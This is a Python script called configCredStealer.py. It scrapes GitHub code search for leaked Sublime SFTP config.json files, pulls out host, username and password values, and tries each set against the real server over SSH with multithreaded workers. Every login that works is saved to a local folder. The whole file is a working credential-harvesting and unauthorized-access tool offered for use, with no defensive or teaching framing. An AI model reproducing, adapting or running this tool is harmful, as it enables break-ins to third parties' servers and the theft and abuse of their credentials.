configCredStealer.py

#!/usr/bin/python

import sys, os
import urllib
from bs4 import BeautifulSoup
import paramiko, socket
import concurrent.futures


class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

class Credentials:
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password

    def toString(self):
        return  "Creds:\nhost= " + self.host + "\nuser= " + self.user + "\npassword= " + self.password

def printAndLog(string, colorCode):
    print colorCode + string + bcolors.ENDC
    with open("progress.log", "a") as logfile:
        logfile.write(string)
        logfile.close()

def testCredentials(credentials):
    sshClient = paramiko.SSHClient()
    sshClient.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        sshClient.connect(credentials.host, username=credentials.user, password=credentials.password, timeout=15) # if it passes the line it's because it connected successfuly
        sshClient.close()
        printAndLog("\nValid credentials for: " + credentials.host, bcolors.OKGREEN)
        credFile = open("Credentials/" + credentials.user + ":" + credentials.password, "w")
        credFile.write(credentials.toString())
        credFile.close()
    except (paramiko.BadHostKeyException, paramiko.AuthenticationException,
            paramiko.SSHException, socket.error), e:
        printAndLog("\nBad Credentials For: " + credentials.host, bcolors.FAIL)
        sshClient.close()
        printAndLog(e, bcolors.FAIL)

def getPageAndCredentials(pageNumber, sizeParameter, threadPool):
    printAndLog("Retrieving HTML from page " + str(i), bcolors.OKBLUE)
    printAndLog("With size parameter = " + str(sizeParameter), bcolors.OKBLUE)
    startURL = "https://github.com"
    pageUrls = []

    size = "+size%3A" + sizeParameter if sizeParameter is not None else ""
    searchResultUrl =   startURL + "/search?p=" + str(pageNumber) + "&q=%2F%2F+Visit+http%3A%2F%2Fwbond.net%2Fsublime_packages%2Fsftp%2Fsettings+for+help" + size + "&ref=searchresults&type=Code&utf8=%E2%9C%93"

    htlmRaw = urllib.urlopen(searchResultUrl).read()

    parsed_html, searchResultDiv = None, None

    try:
        parsed_html = BeautifulSoup(htlmRaw, "lxml")
        searchResultDiv = BeautifulSoup(parsed_html.body.find('div', attrs={'class':'code-list'}).prettify(), "lxml")
    except Exception as e:
        printAndLog("Error parsing, expected result page", bcolors.FAIL)
        return

    allDivs = searchResultDiv.body.findAll('div')

    for paragraph in parsed_html.body.findAll('p'):
        sub = paragraph.findAll("a")
        url = ""
        if len(sub) > 1:
            url = sub[1].get("href")

        if url is not None and ".json" in url:
            pageUrls.append(startURL + url)


    rawDocs = []

    for url in pageUrls:
        rawPage = urllib.urlopen(url).read()
        parsedPage = BeautifulSoup(rawPage, "lxml")
        rawHref = parsedPage.find("a", attrs={'id':'raw-url'}).get("href")
        rawDoc = urllib.urlopen(startURL + rawHref).read()
        rawDocs.append(rawDoc)

    printAndLog("\nRetrieved " + str(len(rawDocs)) + " raw config.json files from page " + str(pageNumber), bcolors.OKBLUE)

    creds = []
    for doc in rawDocs:
        host = ""
        user = ""
        password = ""
        for line in doc.split(","):
            if "\"host\"" in line:
                host = line.split(":")[1].split("\"")[1]
            if "\"user\"" in line:
                user = line.split(":")[1].split("\"")[1]
            if "\"password\"" in line:
                password = line.split(":")[1].split("\"")[1]

        if host != "" and user != "" and password != "":
            creds.append(Credentials(host, user, password))

    printAndLog("\nRetrieved " + str(len(creds)) + " credentials from " + str(len(rawDocs)) + " raw config files from page " + str(pageNumber),
                bcolors.OKBLUE)

    for cred in creds:
        threadPool.submit(testCredentials, cred)







#Actual script start ****************************************************************************************************
pageGetterThreads = 5
testerThreads = 5
firstPage = 1
lastPage = 100
sizeParameter = None


args = args = sys.argv[1:]
possible_args = [   "-h", "--help"
                    "-p", "--pages",
                    "-tt", "--threads",
                    "-pt", "--pageThreads",
                    "-gt", "--greater",
                    "-lt", "--lesser"]

skip_next = False
if "-h" in args or "--help" in args:
    print "Usage: ./configCredStealer.py [param] [value]"
    print "Parameters: "
    print "-p or --pages for the range of pages -> format: [min]-[max]"
    print "-tt or --threads for the max number of threads testing SSH credentials"
    print "-pt or --pageThreads for the max number of threads retrieving the html page and credentials"
    print "-gt and/or -lt for the size parameter, adds 'size:>XXX' or 'size:<XXX' to the search query"
    sys.exit()

for i in range(len(args)):
    if skip_next:
            skip_next = False
            continue
    if args[i] not in possible_args:
            print "Invalid argument: '" + args[i] + "' ignored"
    if args[i] == "-p" or args[i] == "--pages":
        try:
            minmax = args[i+1].split("-")
            firstPage = int(minmax[0])
            lastPage = int(minmax[1])
            if firstPage < 1:
                firstPage = 1
            if lastPage > 100:
                lastPage = 100

            skip_next = True
        except Exception, e:
            sys.exit("Pages must be in [min]-[max] format!")
    if args[i] == "-gt" or args[i] == "--greater":
        try:
            sizeParam = args[i+1]
            sizeParameter = ">" + sizeParam
            skip_next = True
        except Exception, e:
            sys.exit("Size parameter '-gt' should include followed by a number.")
    if args[i] == "-lt" or args[i] == "--lesser":
        try:
            sizeParam = args[i+1]
            sizeParameter = "<" + sizeParam
            skip_next = True
        except Exception, e:
            sys.exit("Size parameter '-gt' should include followed by a number.")
    if args[i] == "-tt" or args[i] == "--testerThreads":
        try:
            testerThreads = int(args[i+1])
            skip_next = True
        except Exception, e:
            sys.exit("-tt parameter should be followed by a single integer.")
    if args[i] == "-pt" or args[i] == "--pageThreads":
        try:
            pageGetterThreads = int(args[i+1])
            skip_next = True
        except Exception, e:
            sys.exit("-pt parameter should be followed by a single integer.")


#Creating 2 threadpools for both tasks (getting credentials, testing credentials)
pageCredRetrieverPool = concurrent.futures.ThreadPoolExecutor(max_workers=pageGetterThreads)
sshTestPool = concurrent.futures.ThreadPoolExecutor(max_workers=testerThreads)


if not os.path.exists("Credentials"):
    os.makedirs("Credentials")

with concurrent.futures.ThreadPoolExecutor(max_workers=pageGetterThreads) as executor:
    for i in range(firstPage, lastPage+1):
        executor.submit(getPageAndCredentials, i, sizeParameter, sshTestPool)